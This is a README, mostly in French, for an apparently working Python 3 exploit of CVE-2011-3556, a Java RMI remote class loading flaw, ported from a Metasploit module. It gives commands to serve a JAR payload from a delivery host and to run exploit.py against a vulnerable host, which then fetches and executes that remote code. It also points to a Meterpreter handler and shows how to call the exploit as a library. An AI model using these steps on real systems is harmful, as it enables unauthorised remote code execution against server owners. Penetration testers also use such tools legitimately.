
Python 3 implementation of an existing CVE-2011-3556 proof of concept (PoC).
Cet outil est une implémentation en Python 3 d'une preuve de concept (PoC) existante réalisée par mihi pour le Metasploit Framework.
Pour utiliser le module, suivez simplement les instructions ci-dessous :
# Clone this repository locally.
$ git clone https://github.com/sk4la/cve_2011_3556.git && cd cve_2011_3556/
# Optionally set the `x` bit to be able to execute the script directly.
$ chmod u+x exploit.py
$ ./exploit.py --help && echo "It works!"
Pour être chargé à distance par le serveur Java RMI vulnérable, le payload (un binaire JAR) doit être servi en tant que ressource HTTP. On peut rapidement le servir en utilisant le célèbre python3 -m http.server.
Une fois le payload disponible en téléchargement, exécutez simplement le script exploit.py pour déclencher la vulnérabilité.
$ python3 -m http.server --bind DELIVERY_HOST DELIVERY_PORT &
$ ./exploit.py -h VULNERABLE_HOST -u http://DELIVERY_HOST:DELIVERY_PORT/PAYLOAD.jar`
Si le payload est un Meterpreter (Metasploit Framework), n'oubliez pas
use exploit/multi/handler.
Ce module peut également être utilisé comme une bibliothèque en important le module cve_2011_3556 dans votre espace de noms actuel :
from cve_2011_3556 import JavaRMIExploit
JavaRMIExploit("127.0.0.1", "http://127.0.0.1/payload.jar").exploit()
C'est aussi simple que ça !
Un remerciement spécial à mihi pour l'implémentation initiale du module du Metasploit Framework.